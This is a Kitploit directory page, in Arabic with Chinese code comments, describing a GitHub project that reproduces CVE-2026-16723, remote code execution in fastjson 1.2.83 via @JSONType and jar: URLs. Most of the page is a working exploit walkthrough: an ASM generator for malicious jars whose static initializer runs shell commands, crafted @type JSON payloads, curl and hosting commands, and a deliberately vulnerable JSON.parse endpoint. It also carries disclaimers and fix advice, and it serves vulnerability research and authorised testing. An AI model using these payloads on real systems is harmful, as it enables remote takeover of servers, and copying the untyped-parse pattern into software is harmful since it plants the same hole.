Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/superman-l/cve-2026-16723
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

يستنسخ ثغرة RCE في fastjson 1.2.83 عبر @JSONType مع هدف Spring Boot هشّ ومولّد حمولة قائم على ASM باستخدام سلاسل jar عبر بروتوكول HTTP أو file.

عرض المستودع
5منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🚨 CVE-2026-16723 — استغلال RCE في fastjson 1.2.83 عبر سلسلة استطلاع الموارد @JSONType

Java fastjson Type Environment Status

مشروع إعادة إنتاج لتحميل الفئات عن بُعد / تنفيذ الأوامر في fastjson 1.2.66 ~ 1.2.83 عبر تعليمة @JSONType + اسم الفئة غير القانوني + بروتوكول jar:.

⚠️ إخلاء مسؤولية

هذا المشروع مخصّص للبحث الأمني وإعادة إنتاج الثغرات والاختبار المصرّح به فقط. يُحظر تمامًا استخدامه على أي أنظمة غير مصرّح بها أو في هجمات غير قانونية أو لأغراض ضارّة. يتحمّل المستخدم المسؤولية الكاملة عن أفعاله، ولا يتحمّل المؤلف أي مسؤولية قانونية عن أي إساءة استخدام.


المقال المرجعي لتحليل الثغرة: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 نبذة عن المشروع

يوفّر هذا المشروع بيئة كاملة لإعادة إنتاج ثغرة fastjson 1.2.83 حول CVE-2026-16723، وتشمل:

  • demo/ — تطبيق ويب Spring Boot 2.7.18 يحتوي على الثغرة (يعتمد على fastjson 1.2.83)، ويُعرّض واجهة POST /parse التي تستدعي مباشرةً JSON.parse(json)؛
  • exp/ — مولّد حزمة jar البروب الخبيثة المعتمد على ASM (بنمطين: بروتوكول HTTP / بروتوكول FILE)؛
  • 环境/ — ثلاث حزم FatJar مُجمّعة مسبقًا لخوادم التطبيقات (Tomcat / Jetty / Undertow)، جاهزة للاستخدام فورًا.

الفكرة الأساسية للاستغلال: عبر بناء JSON خاص يجعل @type عنوان jar URL، ندفع fastjson إلى مسار الثقة لتعليمة @JSONType ← getResourceAsStream لتنزيل jar من بُعد/محلي ← defineClass لتحميل الفئة الخبيثة ← تهيئة الفئة تُطلق <clinit> ← تنفيذ أوامر عشوائية (RCE).


🎯 نظرة عامة على الثغرة

البندالتفاصيل
CVECVE-2026-16723
المكوّنAlibaba fastjson
الإصدارات المتأثرة1.2.66 ~ 1.2.83 (آخر إصدار في سلسلة 1.x ما زال متأثرًا)
نوع الثغرةتنفيذ أوامر عن بُعد عبر إلغاء التسلسل (RCE)
نقطة الدخولJSON.parse(json) / JSON.parseObject(json) (دون تحديد نوع معيّن)
الشروط المسبقةالهدف يعمل بنمط Spring Boot FatJar على JDK 8 مع تعطيل safeMode

شروط الاستغلال

  1. كود الهدف: يستخدم JSON.parse(json) أو JSON.parseObject(json) لتحليل مدخلات غير موثوقة مباشرةً، مع إصدار fastjson ضمن 1.2.66 ~ 1.2.83 و safeMode غير مفعّل؛
  2. شكل تشغيل الهدف: Spring Boot FatJar (يُشغَّل عبر java -jar مع LaunchedURLClassLoader، ولا يحتفظ بقدرة التراجع لمعالج بروتوكول jar: إلا في Spring Boot ≤ 2.7)؛
  3. JVM الخاص بالهدف: JDK 8 (في JDK 9+ يُلقي defineClass خطأ ClassFormatError، ولا يمكن عندها سوى استغلال SSRF على الأكثر)؛
  4. الوصول الشبكي: يجب أن يتمكّن الهدف من الوصول إلى منفذ HTTP لجهاز المهاجم (سلسلة بروتوكول HTTP) أو أن يكون قادرًا على قراءة ملف jar محلي (سلسلة بروتوكول FILE).

🧩 مبدأ الثغرة

عندما تصادف الدالة checkAutoType في fastjson فئةً تحمل تعليمة @JSONType، تدخل إلى مسار الثقة، فتتجاوز معظم فحوصات القائمة السوداء وتسمح بتحميلها. يستغلّ هذا المشروع هذه النقطة عبر كتابة البايت كود مباشرةً باستخدام ASM، بإدراج اسم فئة داخلية غير قانوني في this_class داخل تجمّع الثوابت الخاص بالفئة، لتتوافق الأسماء الثلاثة تمامًا:

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

بنية الفئة الخبيثة:

  1. تعليمة @JSONType — مفتاح فتح مسار الثقة في checkAutoType الخاص بـ fastjson؛
  2. المنشئ الافتراضي <init>()V — يضمن قدرة fastjson على إنشاء مثيل بشكل طبيعي؛
  3. كتلة التهيئة الثابتة <clinit> — تُنفَّذ فور تهيئة الفئة أثناء تحميلها جملة Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"})، مما يحقّق تنفيذ الأوامر.

لا يمكن كتابة اسم الفئة غير القانوني باستخدام javac، ولا يستطيع كتابة عنوان URL مباشرةً في تجمّع الثوابت سوى ASM — وهذا هو السبب الذي يجعل مولّد هذا المشروع يعتمد على asm-9.6.jar.


📁 بنية المشروع

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

واجهة بيئة الاختبار

demo/src/main/java/com/example/demo/controller/VulController.java:

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 البدء السريع

1. تشغيل بيئة الاختبار

يجب تشغيل بيئة الاختبار على JDK 8 (بما يتوافق مع شروط الاستغلال).

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

بعد التشغيل، عنوان الواجهة هو: http://127.0.0.1:8080/parse


💥 استغلال الثغرة

الطريقة الأولى: سلسلة بروتوكول HTTP (jar:http، موصى بها)

① ترجمة المولّد

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② توليد حزمة jar البروب الخبيثة

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 — منفذ استضافة HTTP لحزمة jar الخبيثة
  • open -a Calculator — الأمر المطلوب تنفيذه على الجهاز الهدف (يفتح الحاسبة في macOS؛ وفي Linux يمكن استخدام id > /tmp/pwned 2>&1 للتحقق من وجود الملف)

يولّد المولّد افتراضيًا ملفًا باسم x (بدون امتداد)، يحتوي داخليًا على y.class، والحمولة (payload) هي:

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ استضافة حزمة jar الخبيثة (خدمة HTTP)

root@kitploit:~
python3 -m http.server 19090

تأكد من تشغيل python3 -m http.server داخل المجلد الذي وُلد فيه الملف x.

④ إرسال الحمولة (payload) إلى الهدف

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ التحقق

نتيجة تنفيذ الأمر لن تظهر في استجابة HTTP، بل يجب التحقق على الجهاز الهدف نفسه:

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

الطريقة الثانية: سلسلة بروتوكول FILE (jar:file)

نطاق الاستخدام: عندما يكون الهدف غير قادر على الوصول إلى منفذ HTTP الخاص بجهاز المهاجم (عزل الشبكة الداخلية / تقييد الاتصالات الصادرة)، لكن يمكن وضع ملف jar على نظام ملفات الجهاز الهدف.

① ترجمة المولّد

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② توليد حزمة jar البروب في المجلد المطابق على الهدف

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

يحسب المولّد عنوان jar:file: URL استنادًا إلى المجلد الحالي (يُستبدل فاصل المسار / بعلامة .)، فمثلًا عند التوليد داخل /tmp/project/exp تكون الحمولة (payload) كالتالي:

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ وضع حزمة jar المولّدة في المجلد المقابل على الجهاز الهدف

ارفع/انسخ الملف المولّد y إلى المسار المطلق المطابق لـ @type على الجهاز الهدف (مثل /tmp/project/exp/y)، مع الحفاظ على تطابق بنية المجلدات.

④ إرسال الحمولة (payload) إلى الهدف

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

ملاحظة: يجب أن يتطابق مسار سلسلة بروتوكول FILE تمامًا مع مسار الملف الفعلي على الجهاز الهدف، وإلا فسيفشل استطلاع المورد ويتعذّر تشغيل التحميل.


⚙️ شرح معاملات المولّد

GenProbeHttp (سلسلة بروتوكول HTTP)

المعاملالقيمة الافتراضيةالوصف
port19090منفذ استضافة حزمة jar الخبيثة
cmdid > /tmp/pwned 2>&1الأمر المنفَّذ على الجهاز الهدف
hostToken2130706433عنوان IP الذي يتصل به الهدف بصيغة عدد صحيح (127.0.0.1)
entryyاسم إدخال class داخل حزمة jar
outFilexاسم ملف jar المولَّد (بدون امتداد)

GenProbefile (سلسلة بروتوكول FILE)

المعاملالقيمة الافتراضيةالوصف
port19090معامل محجوز (سلسلة FILE لا تستخدم منفذًا)
cmdid > /tmp/pwned 2>&1الأمر المنفَّذ على الجهاز الهدف
dirالمجلد الحاليمجلد jar على الجهاز الهدف (لتوليد عنوان jar:file: URL)
entryxاسم إدخال class داخل حزمة jar
outFileyاسم ملف jar المولَّد (بدون امتداد)

تحويل عنوان IP إلى صيغة عدد صحيح

القيمة 2130706433 هي تمثيل 127.0.0.1 كعدد صحيح غير موقّع 32-بت؛ وكتابة العنوان كعدد صحيح تتجنّب كسر النقطة . في عنوان IP بسبب منطق الاستبدال . ← / في fastjson. أما إذا لم يكن جهاز المهاجم هو الجهاز المحلي:

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 الأسئلة الشائعة

ظهور الخطأ autoType is not support. jar:http:...

يشير هذا إلى أن حزمة jar قابلة للتنزيل (تحقّق SSRF)، لكن TypeUtils.loadClass أرجع null. ولا يكاد يكون السبب إلا أحد أمرين:

  1. الفئة الخبيثة لا تحمل تعليمة @JSONType — لم يتجاوز الفحص مسار الثقة، ولم تصل إلى loadClass أصلًا؛
  2. اسم الفئة الداخلية للفئة الخبيثة غير متطابق مع @type — اسم الفئة في defineClass لا يطابق الواقع، فيفشل التحميل.

يعالج مولّد هذا المشروع هاتين النقطتين في الوقت نفسه: تعليمة @JSONType + محاذاة الأسماء الثلاثة.

هل ما زال jar:http لا يحقق RCE بإرسالٍ واحد؟

إذا لم يكن ClassLoader الخاص بالهدف هو LaunchedURLClassLoader (مثل التشغيل المباشر من IDE، أو حزمة war عادية، أو Spring Boot 3.x)، فلن تحقق سلسلة jar:http بإرسالٍ واحد RCE، وأقصى ما يمكن هو التحقق من SSRF فقط.

لماذا يُشترط JDK 8؟

في JDK 9+، يكون فحص الأسماء غير القانونية للفئات في defineClass أكثر صرامة، إذ يُلقى خطأ ClassFormatError، فتنقطع السلسلة في مرحلة التحميل.


🛡 توصيات الإصلاح

  1. ترقية المكوّن: توقف دعم fastjson 1.x، لذا يُنصح بالترحيل إلى fastjson2 (أو الترقية إلى إصدار مصحَّح)، ومتابعة النشرات الأمنية الرسمية؛
  2. تفعيل safeMode: يمكن للتعليمة ParserConfig.getGlobalInstance().setSafeMode(true); تعطيل autoType تمامًا؛
  3. تجنّب تحليل المدخلات غير الموثوقة: لا تستدعِ JSON.parse(json) / JSON.parseObject(json) مباشرةً على مدخلات المستخدم، وفضّل استخدام JSON.parseObject(json, Xxx.class) لتحديد النوع المستهدف صراحةً؛
  4. استخدام قوائم الحظر/السماح: لا تسمح إلا بالفئات الموثوقة عبر ParserConfig.addAccept(...)؛
  5. ترقية Spring Boot / JDK: استخدام إصدارات أحدث من JDK وSpring Boot يقلّل من سطح الاستغلال؛
  6. تقليل التعرّض: فرض المصادقة على الواجهات المعرّضة للإنترنت، واعتراض الحمولات المشبوهة لـ @type عبر WAF.

📚 المراجع

  • GitHub الرسمي لـ fastjson: https://github.com/alibaba/fastjson
  • النشرات الأمنية / معلومات الثغرات لـ fastjson: https://github.com/alibaba/fastjson/wiki/security_update_guidance

إذا كان هذا المشروع مفيدًا لك، فنرحّب بمنحه ⭐ نجمة (Star) دعمًا للبحث الأمني وتوثيق الثغرات.

⚠️ يُرجى استخدامه للاختبارات المصرّح بها فقط، وممنوع منعًا باتًا استخدامه لأغراض غير قانونية!

تنزيل الأداة